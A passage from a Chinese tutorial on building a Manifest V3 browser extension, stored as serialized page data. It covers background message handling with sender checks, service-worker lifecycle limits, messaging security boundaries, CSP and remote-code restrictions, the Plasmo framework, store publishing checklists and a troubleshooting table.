在顶层同步注册监听器，使后台被事件唤醒时即可接收消息。\n * 用 return true 保持异步响应通道，避免依赖监听器返回 Promise 的版本差异。\n * @param {{type?: string}} message 调用方提交的消息；运行时仍需校验。\n * @param {chrome.runtime.MessageSender} sender 浏览器提供的发送者身份。\n * @param {function(Object): void} sendResponse 向调用方回传 JSON 可序列化对象。\n * @returns {boolean} true 表示本监听器稍后会异步响应。\n * @example\n * \u002F\u002F 在 Popup 中调用：chrome.runtime.sendMessage({ type: 'GET_THEME' })\n *\u002F\nfunction handleMessage(message, sender, sendResponse) {\n  if (sender.id !== chrome.runtime.id || message?.type !== 'GET_THEME') {\n    return false\n  }\n  chrome.storage.local.get({ readingTheme: 'paper' })\n    .then(({ readingTheme }) => {\n      sendResponse({ ok: true, theme: readingTheme === 'light' ? 'light' : 'paper' })\n    })\n    .catch((error) => {\n      sendResponse({ ok: false, error: error.message || String(error) })\n    })\n  return true\n}\n\nchrome.runtime.onMessage.addListener(handleMessage)\n",[22,2950,2951,2955,2960,2965,2970,2985,3000,3015,3026,3032,3039,3043,3067,3092,3098,3102,3115,3135,3163,3167,3185,3204,3208,3214,3218,3222],{"__ignoreMap":314},[331,2952,2953],{"class":333,"line":334},[331,2954,1004],{"class":1003},[331,2956,2957],{"class":333,"line":341},[331,2958,2959],{"class":1003}," * 处理本扩展发来的主题读取请求。\n",[331,2961,2962],{"class":333,"line":357},[331,2963,2964],{"class":1003}," * 在顶层同步注册监听器，使后台被事件唤醒时即可接收消息。\n",[331,2966,2967],{"class":333,"line":371},[331,2968,2969],{"class":1003}," * 用 return true 保持异步响应通道，避免依赖监听器返回 Promise 的版本差异。\n",[331,2971,2972,2974,2976,2979,2982],{"class":333,"line":384},[331,2973,1024],{"class":1003},[331,2975,2423],{"class":616},[331,2977,2978],{"class":501}," {{type?: string}}",[331,2980,2981],{"class":337}," message",[331,2983,2984],{"class":1003}," 调用方提交的消息；运行时仍需校验。\n",[331,2986,2987,2989,2991,2994,2997],{"class":333,"line":397},[331,2988,1024],{"class":1003},[331,2990,2423],{"class":616},[331,2992,2993],{"class":501}," {chrome.runtime.MessageSender}",[331,2995,2996],{"class":337}," sender",[331,2998,2999],{"class":1003}," 浏览器提供的发送者身份。\n",[331,3001,3002,3004,3006,3009,3012],{"class":333,"line":418},[331,3003,1024],{"class":1003},[331,3005,2423],{"class":616},[331,3007,3008],{"class":501}," {function(Object): void}",[331,3010,3011],{"class":337}," sendResponse",[331,3013,3014],{"class":1003}," 向调用方回传 JSON 可序列化对象。\n",[331,3016,3017,3019,3021,3023],{"class":333,"line":427},[331,3018,1024],{"class":1003},[331,3020,1027],{"class":616},[331,3022,1461],{"class":501},[331,3024,3025],{"class":1003}," true 表示本监听器稍后会异步响应。\n",[331,3027,3028,3030],{"class":333,"line":439},[331,3029,1024],{"class":1003},[331,3031,1040],{"class":616},[331,3033,3034,3036],{"class":333,"line":450},[331,3035,1045],{"class":1003},[331,3037,3038],{"class":1003}," \u002F\u002F 在 Popup 中调用：chrome.runtime.sendMessage({ type: 'GET_THEME' })\n",[331,3040,3041],{"class":333,"line":456},[331,3042,1058],{"class":1003},[331,3044,3045,3048,3051,3053,3055,3057,3060,3062,3065],{"class":333,"line":775},[331,3046,3047],{"class":616},"function",[331,3049,3050],{"class":501}," handleMessage",[331,3052,966],{"class":337},[331,3054,1338],{"class":2472},[331,3056,409],{"class":337},[331,3058,3059],{"class":2472},"sender",[331,3061,409],{"class":337},[331,3063,3064],{"class":2472},"sendResponse",[331,3066,2476],{"class":337},[331,3068,3069,3071,3074,3077,3080,3082,3085,3087,3090],{"class":333,"line":785},[331,3070,1526],{"class":616},[331,3072,3073],{"class":337}," (sender.id ",[331,3075,3076],{"class":616},"!==",[331,3078,3079],{"class":337}," chrome.runtime.id ",[331,3081,1162],{"class":616},[331,3083,3084],{"class":337}," message?.type ",[331,3086,3076],{"class":616},[331,3088,3089],{"class":365}," 'GET_THEME'",[331,3091,2476],{"class":337},[331,3093,3094,3096],{"class":333,"line":795},[331,3095,1545],{"class":616},[331,3097,1375],{"class":344},[331,3099,3100],{"class":333,"line":805},[331,3101,453],{"class":337},[331,3103,3104,3107,3109,3111,3113],{"class":333,"line":819},[331,3105,3106],{"class":337},"  chrome.storage.local.",[331,3108,2608],{"class":501},[331,3110,2611],{"class":337},[331,3112,2490],{"class":365},[331,3114,1139],{"class":337},[331,3116,3117,3120,3123,3126,3128,3131,3133],{"class":333,"line":850},[331,3118,3119],{"class":337},"    .",[331,3121,3122],{"class":501},"then",[331,3124,3125],{"class":337},"(({ ",[331,3127,2596],{"class":2472},[331,3129,3130],{"class":337}," }) ",[331,3132,1489],{"class":616},[331,3134,1100],{"class":337},[331,3136,3137,3140,3143,3145,3148,3150,3152,3154,3156,3158,3161],{"class":333,"line":886},[331,3138,3139],{"class":501},"      sendResponse",[331,3141,3142],{"class":337},"({ ok: ",[331,3144,1131],{"class":344},[331,3146,3147],{"class":337},", theme: readingTheme ",[331,3149,2625],{"class":616},[331,3151,2628],{"class":365},[331,3153,2631],{"class":616},[331,3155,2628],{"class":365},[331,3157,2636],{"class":616},[331,3159,3160],{"class":365}," 'paper'",[331,3162,1139],{"class":337},[331,3164,3165],{"class":333,"line":909},[331,3166,1274],{"class":337},[331,3168,3169,3171,3173,3176,3178,3181,3183],{"class":333,"line":918},[331,3170,3119],{"class":337},[331,3172,1317],{"class":501},[331,3174,3175],{"class":337},"((",[331,3177,1333],{"class":2472},[331,3179,3180],{"class":337},") ",[331,3182,1489],{"class":616},[331,3184,1100],{"class":337},[331,3186,3187,3189,3191,3194,3197,3199,3201],{"class":333,"line":1232},[331,3188,3139],{"class":501},[331,3190,3142],{"class":337},[331,3192,3193],{"class":344},"false",[331,3195,3196],{"class":337},", error: error.message ",[331,3198,1162],{"class":616},[331,3200,1344],{"class":501},[331,3202,3203],{"class":337},"(error) })\n",[331,3205,3206],{"class":333,"line":1253},[331,3207,1274],{"class":337},[331,3209,3210,3212],{"class":333,"line":1259},[331,3211,1633],{"class":616},[331,3213,1082],{"class":344},[331,3215,3216],{"class":333,"line":1271},[331,3217,459],{"class":337},[331,3219,3220],{"class":333,"line":1277},[331,3221,998],{"emptyLinePlaceholder":997},[331,3223,3224,3227,3230],{"class":333,"line":1293},[331,3225,3226],{"class":337},"chrome.runtime.onMessage.",[331,3228,3229],{"class":501},"addListener",[331,3231,3232],{"class":337},"(handleMessage)\n",[11,3234,3235],{},"这里用存储的默认值避免依赖某个只运行一次的初始化动作。即使后台被停止后重新启动，也能重新读取主题，而不是依赖已经丢失的全局变量。",[53,3237,3238],{"id":3238},"生命周期带来的设计约束",[57,3240,3241,3251],{},[60,3242,3243],{},[63,3244,3245,3248],{},[66,3246,3247],{},"错误假设",[66,3249,3250],{},"更稳妥的方式",[79,3252,3253,3264,3279,3291,3299],{},[63,3254,3255,3258],{},[84,3256,3257],{},"全局变量永远在",[84,3259,3260,3261,3263],{},"可恢复状态放 ",[22,3262,1943],{}," 或 IndexedDB",[63,3265,3266,3272],{},[84,3267,3268,3271],{},[22,3269,3270],{},"setInterval"," 可以永久运行",[84,3273,3274,3275,3278],{},"定时需求考虑 ",[22,3276,3277],{},"chrome.alarms","，处理延迟与重建",[63,3280,3281,3288],{},[84,3282,3283,3284,3287],{},"先 ",[22,3285,3286],{},"await"," 读取配置，再注册监听",[84,3289,3290],{},"顶层先注册，事件处理函数内部再读取",[63,3292,3293,3296],{},[84,3294,3295],{},"一个端口能确保后台永不结束",[84,3297,3298],{},"不把连接当作永久保活保证",[63,3300,3301,3304],{},[84,3302,3303],{},"检查窗口里正常就说明生命周期没问题",[84,3305,3306],{},"关闭 DevTools 后重新验证后台停止与唤醒",[11,3308,3309,3310,161],{},"浏览器通常会在空闲一段时间后终止后台，还存在单次任务时间等限制；具体规则会随浏览器版本变化。不要把某个观察到的秒数写成业务计时保证，详见",[30,3311,3314],{"href":3312,"rel":3313},"https:\u002F\u002Fdeveloper.chrome.com\u002Fdocs\u002Fextensions\u002Fdevelop\u002Fconcepts\u002Fservice-workers\u002Flifecycle",[34],"官方生命周期说明",[11,3316,3317,3319],{},[17,3318,1648],{}," 不要试图用无意义的循环或持续请求保持后台存活。应该让事件可以重入、状态可以恢复；下载、较长流程等需求则选择对应的浏览器 API 和可恢复的任务设计。",[48,3321,3323],{"id":3322},"八消息通信先弄清楚收件人是谁","八、消息通信：先弄清楚收件人是谁",[53,3325,3326],{"id":3326},"三条常见通信路线",[57,3328,3329,3342],{},[60,3330,3331],{},[63,3332,3333,3336,3339],{},[66,3334,3335],{},"调用方式",[66,3337,3338],{},"典型方向",[66,3340,3341],{},"适合场景",[79,3343,3344,3357,3370],{},[63,3345,3346,3351,3354],{},[84,3347,3348],{},[22,3349,3350],{},"chrome.runtime.sendMessage()",[84,3352,3353],{},"Popup \u002F Content Script → 后台等扩展监听器",[84,3355,3356],{},"一次请求，一次响应",[63,3358,3359,3364,3367],{},[84,3360,3361],{},[22,3362,3363],{},"chrome.tabs.sendMessage(tabId, message)",[84,3365,3366],{},"Popup \u002F 后台 → 指定标签页的 Content Script",[84,3368,3369],{},"读取页面状态、执行页面操作",[63,3371,3372,3380,3383],{},[84,3373,3374,1901,3377],{},[22,3375,3376],{},"runtime.connect()",[22,3378,3379],{},"tabs.connect()",[84,3381,3382],{},"创建长期消息端口",[84,3384,3385],{},"多次通信，但要处理断线与重连",[11,3387,3388,3391,3392,3395],{},[22,3389,3390],{},"runtime.sendMessage()"," 不是“自动把消息发给当前网页”。给页面中的 Content Script 发消息时，使用 ",[22,3393,3394],{},"tabs.sendMessage()","，并保证目标页面已经注入且注册了监听器。",[53,3397,3398],{"id":3398},"调用刚才的后台",[11,3400,3401,3402,3404],{},"在第二版 ",[22,3403,939],{}," 末尾追加下面代码。弹窗打开后，开发者工具会打印保存的主题；这只是后台通信练习，原有按钮逻辑保持不变。",[308,3406,3408],{"className":942,"code":3407,"language":944,"meta":314,"style":314},"\u002F**\n * 请求后台读取主题，并检查业务层响应。\n * 只把结果写到 Popup 控制台，避免与阅读开关共用提示区域造成覆盖。\n * @returns {Promise\u003Cvoid>} 读取完成；失败时输出可定位的错误。\n * @example\n * \u002F\u002F 弹窗初始化时执行一次，在 Popup 的检查窗口中查看结果。\n * printSavedTheme()\n *\u002F\nasync function printSavedTheme() {\n  try {\n    const response = await chrome.runtime.sendMessage({ type: 'GET_THEME' })\n    if (!response?.ok) throw new Error(response?.error || '后台未返回有效结果')\n    console.log('当前保存的主题：', response.theme)\n  } catch (error) {\n    console.error('读取主题失败：', error)\n  }\n}\n\nprintSavedTheme()\n",[22,3409,3410,3414,3419,3424,3435,3441,3448,3453,3457,3468,3474,3499,3526,3542,3550,3564,3568,3572,3576],{"__ignoreMap":314},[331,3411,3412],{"class":333,"line":334},[331,3413,1004],{"class":1003},[331,3415,3416],{"class":333,"line":341},[331,3417,3418],{"class":1003}," * 请求后台读取主题，并检查业务层响应。\n",[331,3420,3421],{"class":333,"line":357},[331,3422,3423],{"class":1003}," * 只把结果写到 Popup 控制台，避免与阅读开关共用提示区域造成覆盖。\n",[331,3425,3426,3428,3430,3432],{"class":333,"line":371},[331,3427,1024],{"class":1003},[331,3429,1027],{"class":616},[331,3431,1030],{"class":501},[331,3433,3434],{"class":1003}," 读取完成；失败时输出可定位的错误。\n",[331,3436,3437,3439],{"class":333,"line":384},[331,3438,1024],{"class":1003},[331,3440,1040],{"class":616},[331,3442,3443,3445],{"class":333,"line":397},[331,3444,1045],{"class":1003},[331,3446,3447],{"class":1003}," \u002F\u002F 弹窗初始化时执行一次，在 Popup 的检查窗口中查看结果。\n",[331,3449,3450],{"class":333,"line":418},[331,3451,3452],{"class":1003}," * printSavedTheme()\n",[331,3454,3455],{"class":333,"line":427},[331,3456,1058],{"class":1003},[331,3458,3459,3461,3463,3466],{"class":333,"line":439},[331,3460,1063],{"class":616},[331,3462,1066],{"class":616},[331,3464,3465],{"class":501}," printSavedTheme",[331,3467,1072],{"class":337},[331,3469,3470,3472],{"class":333,"line":450},[331,3471,1097],{"class":616},[331,3473,1100],{"class":337},[331,3475,3476,3478,3481,3483,3485,3488,3491,3494,3497],{"class":333,"line":456},[331,3477,1105],{"class":616},[331,3479,3480],{"class":344}," response",[331,3482,957],{"class":616},[331,3484,1119],{"class":616},[331,3486,3487],{"class":337}," chrome.runtime.",[331,3489,3490],{"class":501},"sendMessage",[331,3492,3493],{"class":337},"({ type: ",[331,3495,3496],{"class":365},"'GET_THEME'",[331,3498,1139],{"class":337},[331,3500,3501,3503,3505,3507,3510,3512,3514,3516,3519,3521,3524],{"class":333,"line":775},[331,3502,1144],{"class":616},[331,3504,1147],{"class":337},[331,3506,1150],{"class":616},[331,3508,3509],{"class":337},"response?.ok) ",[331,3511,2507],{"class":616},[331,3513,1214],{"class":616},[331,3515,1217],{"class":501},[331,3517,3518],{"class":337},"(response?.error ",[331,3520,1162],{"class":616},[331,3522,3523],{"class":365}," '后台未返回有效结果'",[331,3525,972],{"class":337},[331,3527,3528,3531,3534,3536,3539],{"class":333,"line":785},[331,3529,3530],{"class":337},"    console.",[331,3532,3533],{"class":501},"log",[331,3535,966],{"class":337},[331,3537,3538],{"class":365},"'当前保存的主题：'",[331,3540,3541],{"class":337},", response.theme)\n",[331,3543,3544,3546,3548],{"class":333,"line":795},[331,3545,1314],{"class":337},[331,3547,1317],{"class":616},[331,3549,1320],{"class":337},[331,3551,3552,3554,3556,3558,3561],{"class":333,"line":805},[331,3553,3530],{"class":337},[331,3555,1333],{"class":501},[331,3557,966],{"class":337},[331,3559,3560],{"class":365},"'读取主题失败：'",[331,3562,3563],{"class":337},", error)\n",[331,3565,3566],{"class":333,"line":819},[331,3567,453],{"class":337},[331,3569,3570],{"class":333,"line":850},[331,3571,459],{"class":337},[331,3573,3574],{"class":333,"line":886},[331,3575,998],{"emptyLinePlaceholder":997},[331,3577,3578,3581],{"class":333,"line":909},[331,3579,3580],{"class":501},"printSavedTheme",[331,3582,1540],{"class":337},[11,3584,3585,3586,3588],{},"同一个功能在 Popup 内直接调用 ",[22,3587,291],{}," 也能完成。这里刻意经过后台是为了演示协议，不代表所有存储读写都必须转发一次。",[53,3590,3591],{"id":3591},"异步响应与序列化",[11,3593,3594,3595,3598,3599,3602,3603,3605],{},"本文后台使用普通函数监听，异步调用 ",[22,3596,3597],{},"sendResponse()","，并同步 ",[22,3600,3601],{},"return true","。这样可以避开不同浏览器版本对“直接返回 Promise”支持情况的差异。",[22,3604,3601],{}," 不是业务成功，而是“响应稍后到达”。",[11,3607,3608,3609,272,3612,3615,3616,272,3619,3622],{},"消息应使用普通 JSON 数据，例如 ",[22,3610,3611],{},"{ type: 'GET_THEME' }",[22,3613,3614],{},"{ ok: true, theme: 'paper' }","。不要发送 DOM、函数或假设 ",[22,3617,3618],{},"Map",[22,3620,3621],{},"Date"," 在所有浏览器中保持原类型；Chrome 和其他实现的序列化行为存在差异。",[11,3624,3625,3626,3629,3630,3632],{},"多个监听器存在时，只处理自己认识的 ",[22,3627,3628],{},"type","。不要无条件使用 ",[22,3631,1063],{}," 监听器接管所有消息，也不要期望多个响应自动汇总成一个结果。",[53,3634,3635],{"id":3635},"消息安全边界",[11,3637,3638,3639,3642],{},"即使 ",[22,3640,3641],{},"sender.id"," 是本扩展，也不能把消息里的任意 URL、HTML 或命令直接执行。来自 Content Script 的数据可能受网页影响，应继续校验操作类型、字段类型、长度和目标域名。",[11,3644,3645],{},"本例只允许读取一个固定配置键，不接受“读取任意存储键”或“请求任意 URL”的指令。以后如果功能只允许由 Popup 触发，还应按业务约束检查发送者 URL、是否来自标签页等，而不只是比较扩展 ID。",[11,3647,3648,268,3650,3653],{},[17,3649,1648],{},[22,3651,3652],{},"Could not establish connection. Receiving end does not exist."," 往往意味着目标没有监听器、脚本尚未注入，或重载扩展后标签页仍保留旧上下文。先查接收方，再改消息格式。",[48,3655,3657],{"id":3656},"九扩展能力网络请求资源与安全","九、扩展能力：网络请求、资源与安全",[53,3659,3660],{"id":3660},"请求后端不等于绕过所有限制",[11,3662,3663,3664,3666],{},"扩展页面或后台访问指定远程主机时，可以通过 ",[22,3665,243],{}," 获得相应跨源访问能力；Content Script 的请求仍受到其运行上下文的跨源规则约束，不会因为清单里写了域名就变成任意跨域代理。",[11,3668,3669,3670,161,3673,3676],{},"例如需要访问自己的 API，可增加下面的",[17,3671,3672],{},"配置片段",[22,3674,3675],{},"api.example.com"," 是占位域名，不是教程提供的可用接口。",[308,3678,3680],{"className":325,"code":3679,"language":327,"meta":314,"style":314},"{\n  \"host_permissions\": [\"https:\u002F\u002Fapi.example.com\u002F*\"]\n}\n",[22,3681,3682,3686,3698],{"__ignoreMap":314},[331,3683,3684],{"class":333,"line":334},[331,3685,338],{"class":337},[331,3687,3688,3691,3693,3696],{"class":333,"line":341},[331,3689,3690],{"class":344},"  \"host_permissions\"",[331,3692,403],{"class":337},[331,3694,3695],{"class":365},"\"https:\u002F\u002Fapi.example.com\u002F*\"",[331,3697,1268],{"class":337},[331,3699,3700],{"class":333,"line":357},[331,3701,459],{"class":337},[11,3703,3704],{},"后台只应调用预先限定的接口与参数，并处理超时、非 2xx 状态和数据格式异常。不要设计“Content Script 传入任意 URL，后台原样 fetch”的通用转发器，否则网页可能借扩展的权限访问本不应访问的资源。",[11,3706,3707],{},"浏览器权限也不能绕过服务端鉴权、限流或业务授权。插件包内的代码和常量可以被查看，服务端密钥不应打包进去。",[53,3709,3711],{"id":3710},"远程代码csp-与-dom-注入","远程代码、CSP 与 DOM 注入",[57,3713,3714,3724],{},[60,3715,3716],{},[63,3717,3718,3721],{},[66,3719,3720],{},"做法",[66,3722,3723],{},"建议",[79,3725,3726,3740,3755,3763,3778],{},[63,3727,3728,3735],{},[84,3729,3730,3731,3734],{},"在 Popup 内写 ",[22,3732,3733],{},"onclick"," 或内联脚本",[84,3736,3737,3738],{},"改成本地 JS 文件与 ",[22,3739,1399],{},[63,3741,3742,3752],{},[84,3743,3744,3745,1901,3748,3751],{},"下载 JS 后 ",[22,3746,3747],{},"eval()",[22,3749,3750],{},"new Function()"," 执行",[84,3753,3754],{},"不采用；扩展逻辑随包发布",[63,3756,3757,3760],{},[84,3758,3759],{},"从接口读取 JSON 配置",[84,3761,3762],{},"可以设计，但校验结构和取值，不把数据当代码执行",[63,3764,3765,3771],{},[84,3766,3767,3768],{},"把网页选中文本写入 ",[22,3769,3770],{},"innerHTML",[84,3772,3773,3774,3777],{},"优先 ",[22,3775,3776],{},"textContent","，不要把页面输入当可信 HTML",[63,3779,3780,3783],{},[84,3781,3782],{},"把长期令牌放在 DOM 属性中",[84,3784,3785],{},"不采用；网页脚本可以读取共享 DOM",[11,3787,3788],{},"MV3 对远程托管代码有严格限制。即使某种方式在开发环境暂时运行，也不代表满足商店政策。",[53,3790,3792],{"id":3791},"web_accessible_resources-不是文件总清单","web_accessible_resources 不是文件总清单",[11,3794,3795,3796,3799],{},"Popup 直接引用扩展包里的本地脚本，不需要把它们全部声明为网页可访问资源。只有普通网页确实需要加载的扩展资源，才考虑 ",[22,3797,3798],{},"web_accessible_resources"," 并限制匹配范围。",[11,3801,3802,3803,3806],{},"例如 Content Script 往页面插入一张扩展自带图片时，用 ",[22,3804,3805],{},"chrome.runtime.getURL('images\u002Fbadge.png')"," 获取地址，并按需声明该图片的访问规则。不要简单公开整个扩展目录。",[11,3808,3809,3811],{},[17,3810,1648],{}," 插件可以接触用户浏览内容，所以“仅本地处理”“保存多久”“是否上传”必须与实现一致。阅读助手不需要收集浏览历史，也不应该为了调试而长期记录完整网页正文。",[48,3813,3815],{"id":3814},"十从原生到-plasmo框架解决工程问题","十、从原生到 Plasmo：框架解决工程问题",[53,3817,3819],{"id":3818},"先理解原生再选择工具","先理解原生，再选择工具",[11,3821,3822],{},"原生四文件版本已经可以工作。框架主要解决热更新、打包、TypeScript、UI 组件、资源处理和多浏览器构建，并不会取消 Manifest、隔离环境或权限限制。",[57,3824,3825,3838],{},[60,3826,3827],{},[63,3828,3829,3832,3835],{},[66,3830,3831],{},"方案",[66,3833,3834],{},"适合谁",[66,3836,3837],{},"需要承担什么",[79,3839,3840,3851,3862],{},[63,3841,3842,3845,3848],{},[84,3843,3844],{},"原生 HTML \u002F CSS \u002F JS",[84,3846,3847],{},"入门、小型工具、理解扩展机制",[84,3849,3850],{},"自己管理入口与打包",[63,3852,3853,3856,3859],{},[84,3854,3855],{},"Plasmo",[84,3857,3858],{},"希望使用 React \u002F TypeScript 快速搭建扩展 UI",[84,3860,3861],{},"学习文件约定与构建产物",[63,3863,3864,3867,3870],{},[84,3865,3866],{},"WXT 等扩展框架",[84,3868,3869],{},"希望比较 Vue 等 UI 技术与多浏览器流程",[84,3871,3872],{},"核对当前版本支持与迁移成本",[11,3874,3875,3876,3879],{},"Plasmo 官方文档突出 React 与 TypeScript 支持。不要因为自己使用 Vue，就假设所有 Plasmo 示例可以直接改成 ",[22,3877,3878],{},".vue"," 文件运行；选型时先确认框架的当前能力。",[53,3881,3883],{"id":3882},"plasmo-的基本开发流程","Plasmo 的基本开发流程",[11,3885,3886,3887,3890,3891,3893,3894,3899],{},"下面是",[17,3888,3889],{},"另建工程的可选路线","，不要在前面的 ",[22,3892,305],{}," 文件夹里混用。需要 Node.js 和 pnpm；实际版本要求及脚手架提示以",[30,3895,3898],{"href":3896,"rel":3897},"https:\u002F\u002Fdocs.plasmo.com\u002Fframework",[34],"Plasmo 官方文档","为准。",[308,3901,3905],{"className":3902,"code":3903,"language":3904,"meta":314,"style":314},"language-bash shiki shiki-themes github-dark","# 在你自己的项目目录下执行，创建一个新的扩展工程\npnpm create plasmo\n\n# 进入脚手架实际创建的目录，再运行开发构建\ncd your-extension\npnpm dev\n\n# 完成功能后生成生产包\npnpm build\n","bash",[22,3906,3907,3912,3923,3927,3932,3940,3947,3951,3956],{"__ignoreMap":314},[331,3908,3909],{"class":333,"line":334},[331,3910,3911],{"class":1003},"# 在你自己的项目目录下执行，创建一个新的扩展工程\n",[331,3913,3914,3917,3920],{"class":333,"line":341},[331,3915,3916],{"class":501},"pnpm",[331,3918,3919],{"class":365}," create",[331,3921,3922],{"class":365}," plasmo\n",[331,3924,3925],{"class":333,"line":357},[331,3926,998],{"emptyLinePlaceholder":997},[331,3928,3929],{"class":333,"line":371},[331,3930,3931],{"class":1003},"# 进入脚手架实际创建的目录，再运行开发构建\n",[331,3933,3934,3937],{"class":333,"line":384},[331,3935,3936],{"class":344},"cd",[331,3938,3939],{"class":365}," your-extension\n",[331,3941,3942,3944],{"class":333,"line":397},[331,3943,3916],{"class":501},[331,3945,3946],{"class":365}," dev\n",[331,3948,3949],{"class":333,"line":418},[331,3950,998],{"emptyLinePlaceholder":997},[331,3952,3953],{"class":333,"line":427},[331,3954,3955],{"class":1003},"# 完成功能后生成生产包\n",[331,3957,3958,3960],{"class":333,"line":439},[331,3959,3916],{"class":501},[331,3961,3962],{"class":365}," build\n",[11,3964,3965,3968],{},[22,3966,3967],{},"your-extension"," 是占位目录名，不是固定生成的名称。创建命令会下载并运行第三方脚手架，执行前确认包来源；教程本身不需要执行这些命令。",[11,3970,3971,3972,272,3975,2012,3978,3981],{},"典型入口包括 ",[22,3973,3974],{},"popup.tsx",[22,3976,3977],{},"content.ts",[22,3979,3980],{},"background.ts","，更复杂的 Content Script 也有目录式组织方式。框架把这些入口转换为清单和构建文件；修改目录结构时要对照对应版本文档。",[53,3983,3985],{"id":3984},"加载产物不是加载源代码目录","加载产物，不是加载源代码目录",[11,3987,3988,3989,3992,3993,3996],{},"Plasmo 开发构建通常输出到 ",[22,3990,3991],{},"build\u002Fchrome-mv3-dev","，生产构建通常输出到 ",[22,3994,3995],{},"build\u002Fchrome-mv3-prod","，以实际终端输出和项目配置为准。",[11,3998,3999,4000,4006,4007,2012,4009,4012,4013,4016],{},"扩展管理页应加载",[17,4001,4002,4003,4005],{},"产物中包含 ",[22,4004,321],{}," 的目录","，不是只有 ",[22,4008,3974],{},[22,4010,4011],{},"package.json"," 的源码目录。生产发布前运行 ",[22,4014,4015],{},"pnpm build","，不要把带开发连接与调试逻辑的包直接上传。",[11,4018,4019,4021],{},[17,4020,1648],{}," 框架热更新不保证已打开网页里的旧 Content Script 总能无缝替换。遇到异常仍然可以使用“重新加载扩展 → 刷新页面 → 重开 Popup”的排查基线。",[48,4023,4025],{"id":4024},"十一发布与兼容能加载不代表能上架","十一、发布与兼容：能加载不代表能上架",[53,4027,4028],{"id":4028},"打包前检查什么",[11,4030,4031,4032,4034,4035,4038,4039,4042],{},"对于原生版本，把 ",[22,4033,321],{}," 和它引用的文件放在 ZIP 根目录；不要多套一层 ",[22,4036,4037],{},"reading-helper\u002F","。框架版本则打包生产产物，而不是 ",[22,4040,4041],{},"node_modules"," 与源码仓库。",[57,4044,4045,4055],{},[60,4046,4047],{},[63,4048,4049,4052],{},[66,4050,4051],{},"检查项",[66,4053,4054],{},"为什么要做",[79,4056,4057,4067,4075,4083,4091,4099,4107],{},[63,4058,4059,4064],{},[84,4060,4061,4062],{},"递增 Manifest 的 ",[22,4063,1904],{},[84,4065,4066],{},"新版本上传需要有效的版本标识",[63,4068,4069,4072],{},[84,4070,4071],{},"清理开发地址、日志与测试账号",[84,4073,4074],{},"防止开发配置进入正式包",[63,4076,4077,4080],{},[84,4078,4079],{},"所有声明的脚本、图标和页面存在",[84,4081,4082],{},"避免本地遗漏或路径大小写问题",[63,4084,4085,4088],{},[84,4086,4087],{},"权限对应可见功能",[84,4089,4090],{},"降低不必要的授权与审核疑问",[63,4092,4093,4096],{},[84,4094,4095],{},"准备商店图标、截图和说明",[84,4097,4098],{},"用户需要知道插件做什么",[63,4100,4101,4104],{},[84,4102,4103],{},"按实际数据行为填写隐私披露",[84,4105,4106],{},"收集、传输与保存行为必须一致",[63,4108,4109,4112],{},[84,4110,4111],{},"使用干净环境完成一次安装测试",[84,4113,4114],{},"不能依赖开发机遗留存储才能运行",[11,4116,4117],{},"Chrome Web Store 和 Microsoft Edge Add-ons 的账号、素材与审核规则分别维护，提交前查各自官方文档。不要把某一时期的费用、审核时长或图片要求当作永远固定的事实。",[53,4119,4121],{"id":4120},"chromeedge-与-firefox","Chrome、Edge 与 Firefox",[11,4123,4124],{},"Chrome 与 Edge 都基于 Chromium，大量 MV3 API 相近，但仍需要分别验证目标浏览器版本、商店规则和受限页面。",[11,4126,4127,4128,1901,4131,4133],{},"Firefox 的 WebExtensions 与 Chromium 有许多相似 API，但不能承诺同一个 Manifest 原样通用。尤其要检查后台声明、API 支持、权限提示，以及 ",[22,4129,4130],{},"browser.*",[22,4132,2230],{}," 与 Promise 行为。Polyfill 可以改善部分调用差异，不能补齐所有平台能力。",[53,4135,4136],{"id":4136},"升级与卸载场景",[11,4138,4139],{},"以后改变存储结构时，应为旧版本数据设计迁移与默认值，而不是直接假设字段存在。并行事件中的“读 → 改 → 写”也不具备数据库事务保证，不适合用来维护高频精确计数。",[11,4141,4142],{},"升级后保留设置、关闭浏览器后恢复偏好、用户撤销站点访问权限，都是正常使用场景。不要仅测试“开发者工具一直开着、所有权限已同意”的理想路径。",[11,4144,4145,4147],{},[17,4146,1648],{}," 本地加载成功只说明浏览器能识别当前包，不代表商店审核通过，也不代表隐私合规已经完成。",[48,4149,4151],{"id":4150},"十二排错速查与进阶练习","十二、排错速查与进阶练习",[53,4153,4154],{"id":4154},"按症状定位问题",[57,4156,4157,4170],{},[60,4158,4159],{},[63,4160,4161,4164,4167],{},[66,4162,4163],{},"症状",[66,4165,4166],{},"优先检查",[66,4168,4169],{},"处理方式",[79,4171,4172,4183,4194,4210,4224,4235,4247,4258,4269,4280,4291],{},[63,4173,4174,4177,4180],{},[84,4175,4176],{},"插件无法加载",[84,4178,4179],{},"JSON、文件名、选中的目录",[84,4181,4182],{},"检查是否存在根目录 Manifest，无注释与尾逗号",[63,4184,4185,4188,4191],{},[84,4186,4187],{},"Popup 按钮没反应",[84,4189,4190],{},"Popup 控制台、JS 路径、CSP",[84,4192,4193],{},"确认外部脚本加载成功，事件正确注册",[63,4195,4196,4201,4204],{},[84,4197,4198],{},[22,4199,4200],{},"Cannot access contents of url",[84,4202,4203],{},"页面类型、站点权限、用户是否调用扩展",[84,4205,4206,4207,4209],{},"换普通网页，核对 ",[22,4208,465],{}," \u002F 站点授权",[63,4211,4212,4218,4221],{},[84,4213,4214,4217],{},[22,4215,4216],{},"chrome.scripting"," 不可用",[84,4219,4220],{},"是否在扩展上下文、是否声明权限",[84,4222,4223],{},"不要在普通网页控制台直接运行 Popup 代码",[63,4225,4226,4229,4232],{},[84,4227,4228],{},"找不到消息接收端",[84,4230,4231],{},"注入和监听是否完成",[84,4233,4234],{},"重载插件并刷新页面，再确认收件人",[63,4236,4237,4241,4244],{},[84,4238,4239],{},[22,4240,1789],{},[84,4242,4243],{},"页面脚本是否来自旧扩展版本",[84,4245,4246],{},"刷新目标页面",[63,4248,4249,4252,4255],{},[84,4250,4251],{},"后台变量突然变初始值",[84,4253,4254],{},"Worker 是否被停止并重启",[84,4256,4257],{},"使用可恢复存储，不依赖全局状态",[63,4259,4260,4263,4266],{},[84,4261,4262],{},"Content Script 读不到网页变量",[84,4264,4265],{},"默认隔离世界",[84,4267,4268],{},"优先基于 DOM 工作，不盲目切 MAIN world",[63,4270,4271,4274,4277],{},[84,4272,4273],{},"SPA 切页后功能不生效",[84,4275,4276],{},"是否发生真正文档加载",[84,4278,4279],{},"按需监听局部 DOM\u002F路由变化，避免全页轮询",[63,4281,4282,4285,4288],{},[84,4283,4284],{},"生产包报远程脚本或 CSP 错误",[84,4286,4287],{},"CDN、内联脚本、开发构建产物",[84,4289,4290],{},"将代码随包构建，检查生产 